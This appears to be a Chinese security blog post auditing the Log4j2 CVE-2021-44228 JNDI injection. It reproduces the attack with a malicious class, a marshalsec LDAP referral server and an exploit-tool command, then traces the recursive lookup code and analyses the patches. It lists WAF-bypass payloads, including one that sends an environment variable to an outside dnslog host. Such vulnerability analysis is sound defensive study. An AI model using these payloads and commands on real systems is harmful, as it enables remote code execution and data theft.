代码审计 | Log4j2 —— CVE-2021-44228 JNDI 注入与递归解析的完整链路分析

目录

• 环境搭建
• 漏洞复现
  • 编写测试代码
  • 构造恶意 class 文件
  • 启动 LDAP 转发器
  • 请求流程
  • 使用 JNDI 工具一键利用
• 代码审计
  • payload 入口追踪
  • MessagePatternConverter：关键转折点
  • substitute：变量解析核心
  • resolveVariable：触发入口
  • Interpolator：协议分发
• 触发条件与常见入口
• WAF 绕过原理
• 常见绕过 payload
• 补丁分析
• 总结

环境搭建

• JDK：jdk8u65
• Log4j2：2.14.1

pom.xml 依赖：

1
2
3
4
5
6
7
8
9
10
11
12

<dependencies>
  <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
  </dependency>
  <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
  </dependency>
</dependencies>

添加好依赖之后效果如下：

然后通过 Maven 下载源码，方便后面调试：

漏洞复现

编写测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTest {
    private static final Logger logger = LogManager.getLogger(Log4jTest.class);

    public static void main(String[] args) {
        // 高版本 JDK（如 8u121+）默认禁止远程对象加载，调试时需手动开启
        // System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        // System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

        // 模拟用户输入的恶意字符串
        String payload = "${jndi:ldap://127.0.0.1:1389/Exploit}";

        // 触发漏洞
        logger.error("用户输入数据: {}", payload);
    }
}

构造恶意 class 文件

Exploit.java：

1
2
3
4
5
6
7
8
9
10
11

import java.io.IOException;

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

执行 javac Exploit.java 编译成 class 文件，然后在 class 文件所在目录启动一个简单的 HTTP 服务：

1

python -m http.server 5566

启动 LDAP 转发器

1

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.16.250.1:5566/#Exploit" 1389

参数说明：

• -cp：指定类路径（classpath）
• marshalsec.jndi.LDAPRefServer：启动 LDAP 转发器（还有 marshalsec.jndi.RMIRefServer 可以启动 RMI 转发器）
• "http://172.16.250.1:5566/#Exploit"：远程恶意类的下载地址（带引用锚点）
  • #Exploit：# 后的部分在 LDAP 协议中会被解析为引用的 classFactory 名称，受害者最终会请求 /Exploit.class 文件，不用 # 不能正常启动（规范写法）
• 1389：LDAP 服务监听的本地端口

请求流程

整个攻击链的请求顺序如下：

1
2
3
4
5
6
7
8
9
10
11

受害服务器                          攻击机
    |                                  |
    |---① LDAP 查询请求 ------------->| (marshalsec:1389)
    |                                  |
    |<--② 返回 JNDI Reference --------| (codebase=http://攻击机:5566/)
    |                                  |
    |---③ HTTP 下载 Exploit.class ---->| (HTTP服务:5566)
    |                                  |
    |<--④ 返回恶意类字节码 -----------|
    |                                  |
    | (加载并执行恶意代码)             |

1. 受害服务器 .lookup("ldap://攻击机IP:1389/Exploit") 请求攻击机 LDAP 服务
2. 攻击机 LDAP 服务收到查询后返回一个 javax.naming.Reference 对象，包含 codebase 地址（http://172.16.250.1:5566/）和类名（Exploit）
3. 告诉受害服务器去 http://172.16.250.1:5566/ 这里找 Exploit 文件
4. 受害服务器解析该引用后，自动从 codebase 地址下载 Exploit.class 文件，然后实例化并执行恶意代码

测试成功，弹出计算器：

HTTP 服务日志中可以看到 GET /Exploit.class 的请求记录。

注意事项

1. 把恶意代码写到静态块里更好

1
2
3
4
5
6
7

static {
    try {
        Runtime.getRuntime().exec("calc");
    } catch (IOException e) {
        throw new RuntimeException(e);
    }
}

原因：

• 静态块：当类被 Class.forName() 加载时就会执行，在实例化之前
• 构造方法：必须等到 newInstance() 创建对象实例时才会执行

静态块的好处：即使实例化失败，恶意代码也能执行，而且只执行一次，避免重复操作。

2. class 文件不能放在项目能找到的地方

如果放在项目的 classpath 里，JVM 会优先从本地加载该类，根本不会发起 HTTP 请求，也就没有起到远程下载的效果了。

3. 包名问题

如果 Exploit 类声明了包名（如 package com.attack;），受害服务器会按完整类名 com.attack.Exploit 去 HTTP 服务器上请求 com/attack/Exploit.class，路径包含目录结构。

最简单稳妥的做法：不声明包名，使用默认包，这样请求的就是 /Exploit.class，减少路径错误。

使用 JNDI 工具一键利用

上面是自己手动写 class 实现的，不过现在的 JNDI 利用工具有自带执行命令的功能，更加方便：

1

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 172.16.250.1

修改一下 payload：

1

String payload = "${jndi:ldap://172.16.250.1:1389/jxjkff}";

代码审计

复现完了，接下来开始审计。有几个我比较关心的问题：

1. 触发点是 logger.error()，看着并不是一个特殊的函数，那会不会还有其他的触发方式？
2. payload 的写法 ${jndi:ldap://172.16.250.1:1389/jxjkff}，特别是被 ${} 包裹的这个结构，Log4j 是从哪里开始解析它的？
3. 不同版本的 LDAP 和 RMI 之间有什么区别？

带着这几个问题开始跟调用链。

payload 入口追踪

payload 被完整传入了 error() 方法：

进入类里面，message 是字符串，p0 是 payload，没有问题：

进入 logIfEnabled 方法，做了一个日志级别判断：

进入 logMessage 方法，这里创建了一个对象来存储 message 和 p0 的信息：

1

final Message msg = messageFactory.newMessage(message, p0);

可以看到只是单纯的存储数据，没有对字符串处理，payload 放在了 stringArgs 这个数组里：

然后经过 logMessageSafely >> logMessageTrackRecursion >> tryLogMessage >> log()，目前还是没有对 payload 处理，进入另一个 log() 方法：

到了 loggerConfig.log 这里，创建了一个 logEvent 对象：

这个对象里有个变量，是字符串和 payload 的组合：

然后 logEvent 传入 log(logEvent, LoggerConfigPredicate.ALL) 里的 event：

进入 processLogEvent：

然后带着对象进入了 callAppenders：

controls[i].callAppender(event) >> callAppenderPreventRecursion(event) >> callAppender0(event) >> tryCallAppender(event) >> appender.append(event) >> tryAppend(event) >> directEncodeEvent(event)：

MessagePatternConverter：关键转折点

进入 getLayout().encode(event, manager)：

1

final StringBuilder text = toText((Serializer2) eventSerializer, event, getStringBuilder());

toText >> toSerializable >> formatters[i].format(event, buffer)，然后是一直的循环处理。

当来到第八轮循环的时候，进入了 MessagePatternConverter.format，这正是对 ${} 里面的数据做提取的地方：

经过 ((StringBuilderFormattable) msg).formatTo(workingBuilder)：

输入的数据被提取出来和前缀消息拼接到了 workingBuilder：

接下来有一段关键逻辑：

1
2
3
4
5
6
7
8
9

if (config != null && !noLookups) {
    for (int i = offset; i < workingBuilder.length() - 1; i++) {

        // 在 workingBuilder 里面找 "${" 子串
        if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {

            // 把输入的信息赋值给 value
            // offset 是固定的值，意思是 workingBuilder 前面的时间等信息不算，
            // 只会保留我们输入的信息

1
2
3
4

final String value = workingBuilder.substring(offset, workingBuilder.length());

// 设置了 workingBuilder 的长度，使 workingBuilder 里没了我们输入的信息
workingBuilder.setLength(offset);

1
2

// 把 config.getStrSubstitutor().replace(event, value) 处理完的信息拼接回 workingBuilder
workingBuilder.append(config.getStrSubstitutor().replace(event, value));

步入时点击选择 replace 函数：

source 就是输入的值：

1

用户输入数据: ${jndi:ldap://172.16.250.1:1389/jxjkff}

substitute：变量解析核心

然后进入了 substitute 方法，它的作用是递归地查找并替换字符串中的 ${...} 占位符。

核心能力：

• 识别 ${xxx}
• 支持嵌套 ${${a}}
• 支持默认值 ${a:-b}
• 支持递归解析
• 支持转义

逐段看一下代码：

1
2
3
4

final StrMatcher prefixMatcher = getVariablePrefixMatcher();  // 匹配字符 ${
final StrMatcher suffixMatcher = getVariableSuffixMatcher();  // 匹配字符 }
final char escape = getEscapeChar();
// 获取转义符，默认是 $，比如 $${xxx} 会变成 ${xxx}，里面不会被解析

在字符串里面找 ${：

1

final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);

如果找到了：

1
2
3

if (pos > offset && chars[pos - 1] == escape) {
    // 这是判断 ${ 前面有没有 $，也就是是不是 $${ ，是的话就是转义，直接跳过
}

如果没有转义，则开始对 ${ 后的字符处理：

1
2
3
4
5
6
7

if (substitutionInVariablesEnabled
        && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
    // found a nested variable start
    nestedVarCount++;
    pos += endMatchLen;
    continue;
}

这是对外层的 ${ 匹配 }，找到最外层的 } 边界，方便把中间的内容递归传入 substitute 继续处理。

如果找到后 nestedVarCount == 0，意思是已经找到了最外层的 }（因为找到一个 ${ 就加一，找到一个 } 就减一），就开始对 ${} 里面的内容处理了：

1
2

String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
// 提取当前最外层的 ${} 里的内容给 varNameExpr

1
2
3
4
5

if (substitutionInVariablesEnabled) {
    final StringBuilder bufName = new StringBuilder(varNameExpr);
    substitute(event, bufName, 0, bufName.length());
    varNameExpr = bufName.toString();
}

如果 substitutionInVariablesEnabled（允许递归，默认是允许的），就把 varNameExpr 放入 substitute 再次递归，最后出来的是没有 ${} 的内容，因为里面的内容会被当做变量处理。

接着是对 :- 键值对处理的逻辑：

1

if (valueDelimiterMatcher != null) { ... }

假设 varNameExpr 的值是 "host:-localhost"：

• 代码会遍历每个字符，找到 ":-" 这个分隔符（valueDelimiterMatcher 默认匹配 :-）
• 将分隔符前面的部分 "host" 作为 varName，后面的部分 "localhost" 作为 varDefaultValue
• 如果 varNameExpr 中没有 :-，则整个字符串就是 varName，varDefaultValue 保持 null

所以原本的 payload ${} 被拆成了：

• varName = jndi:ldap://172.16.250.1:1389/jxjkff
• varDefaultValue = null

1
2
3
4
5
6
7
8

if (priorVariables == null) {
    priorVariables = new ArrayList<>();
    priorVariables.add(new String(chars, offset, length + lengthChange));
}

// handle cyclic substitution
checkCyclicSubstitution(varName, priorVariables);
priorVariables.add(varName);

这里有一个防止无限递归的机制，不过处理依然有限，只能防止 ${a} → ${a} 这种死循环，对安全没有实质帮助。

resolveVariable：触发入口

最后到了触发 payload 的入口：

1

String varValue = resolveVariable(event, varName, buf, startPos, endPos);

这个方法相当于一个调度员，会根据 varName 去寻找和执行对应任务，返回值为 varValue：

1
2
3
4
5
6
7
8

protected String resolveVariable(final LogEvent event, final String variableName,
        final StringBuilder buf, final int startPos, final int endPos) {
    final StrLookup resolver = getVariableResolver();
    if (resolver == null) {
        return null;
    }
    return resolver.lookup(event, variableName);
}

接受变量名，交给 resolver 处理。

Interpolator：协议分发

resolver.lookup(event, variableName) 进入了 Interpolator.lookup：

1
2

final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
// PREFIX_SEPARATOR 是固定值 ":"，这个会匹配第一个冒号前的内容

有冒号就进入 if (prefixPos >= 0) 的判断里面：

1
2

final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
final String name = var.substring(prefixPos + 1);

把 jndi:ldap://172.16.250.1:1389/jxjkff 拆成了：

• prefix = jndi
• name = ldap://172.16.250.1:1389/jxjkff

接下来是分发机构，会检测各种 prefix 的信息：

1

final StrLookup lookup = strLookupMap.get(prefix);

总共有 12 种，获取对应的实例。没有任何过滤，不管传入什么都会来匹配。"jndi" 对应 JndiLookup。

1
2
3
4

String value = null;
if (lookup != null) {
    value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
}

如果找到了对应的实例，就调用它的 lookup 方法，传入 name 和可选的 event 参数。

对于 JNDI 注入，lookup 是 JndiLookup，其 lookup(event, name) 内部会执行 JndiLookup.lookup(name)，发起 JNDI 查询：

这里就是执行 JNDI 查询的地方，整条链走完了。

触发条件与常见入口

所有日志级别（info、error、warn 等）只要启用了，且日志消息中包含用户可控的字符串，都可能触发漏洞。

Lookup 类型一览：

WAF 绕过原理

为什么 ${${lower:j}ndi:...} 能绕过 WAF？

核心逻辑：

1. 第一层 substitute 识别到 ${...}
2. 它发现变量名里还有 ${，于是递归调用 substitute 处理内部的 ${lower:j}
3. 内部解析完变成 j，返回给外层
4. 外层拼接出 jndi，再次解析，最终触发 JndiLookup

WAF 看到的是 ${${lower:j}ndi:...}，过滤的关键词 jndi: 并不直接出现在字符串里，但 Log4j 在解析时会先把内层的 ${lower:j} 解析为 j，拼出完整的 jndi:，再去查 JNDI。

总结一下 payload 是否触发：

jndi: 前缀后可以跟 ldap://、rmi://、dns://、iiop:// 等协议，原理相同。

在组合这些元素时，需要注意大小写语法。${lower:Jndi} 的结果是 jndi，而 ${upper:jndi} 的结果是 JNDI。

常见绕过 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

# 字符拆分绕过
${::-j}${::-n}${::-d}${::-i}

# 大小写转换绕过
${${lower:j}ndi}
${${upper:j}ndi}

# 多级嵌套绕过
${${lower:j}${lower:n}${lower:d}${lower:i}}

# 环境变量默认值绕过
${${env:BARFOO:-j}ndi}

# 逐字符默认值绕过
${${:-j}${:-n}${:-d}${:-i}}

# 通过 dnslog 外带数据（常用于探测）
${jndi:ldap://${env:USER}.dnslog.cn}

补丁分析

2.15.0-rc1 的修复

在 MessagePatternConverter 中添加了 noLookups 选项：

1
2
3
4
5
6

public static MessagePatternConverter newInstance(final Configuration config, final String[] options) {
    if (options == null || options.length <= 0) {
        return SimpleMessagePatternConverter.INSTANCE;
    }
    return new LookupMessagePatternConverter(config, options[0]);
}

默认情况下，noLookups 为 false，仍然会进行 lookup。需要手动配置：

1

<PatternLayout pattern="%msg{nolookups}" />

或者在 log4j2.component.properties 中设置：

1

log4j2.formatMsgNoLookups=true

2.15.0 正式版的修复

在 Interpolator 中限制了可用的 lookup 类型：

1
2
3
4
5
6
7
8
9
10
11
12
13
14

static {
    final Properties props = new Properties();
    try (final InputStream in = Interpolator.class.getResourceAsStream("LookupSet.properties")) {
        props.load(in);
    } catch (final IOException e) {
        // Ignore
    }
    final String lookups = props.getProperty("log4j2.lookupSet");
    if (lookups != null) {
        for (final String lookup : lookups.split(",")) {
            LOOKUP_SET.add(lookup.trim());
        }
    }
}

只有白名单中的 lookup 类型才会被加载，jndi 被移除。

2.16.0 的修复

完全移除了 JNDI Lookup 功能：

1
2

// JndiLookup 类被移除
// strLookupMap 中不再包含 "jndi" 键

总结

漏洞原理：

Log4j2 在处理日志消息时，会递归解析 ${} 占位符，其中 jndi: 前缀会触发 JNDI 查询，导致远程代码执行。

触发条件：

1. 使用 Log4j2 版本 < 2.15.0
2. 日志消息中包含用户可控的字符串
3. 日志级别启用（info、error、warn 等）

影响范围：

• 所有使用 Log4j2 的 Java 应用
• Spring Boot、Struts2 等框架默认使用 Log4j2
• Hadoop、Elasticsearch、Druid 等大数据组件

修复建议：

1. 升级到 Log4j2 2.16.0 或更高版本
2. 设置 log4j2.formatMsgNoLookups=true
3. 移除 classpath 中的 JndiLookup 类
4. 使用 WAF 拦截恶意 payload

防护措施：

1. 升级 Log4j2 到最新版本
2. 禁用 JNDI Lookup 功能
3. 使用 WAF 拦截恶意请求
4. 限制服务器出网权限
5. 升级 JDK 到 8u191+ 或 11.0.1+（默认禁止远程 codebase）

参考资料

• Apache Log4j2 官方 Security 公告
• marshalsec、JNDI-Injection-Exploit 工具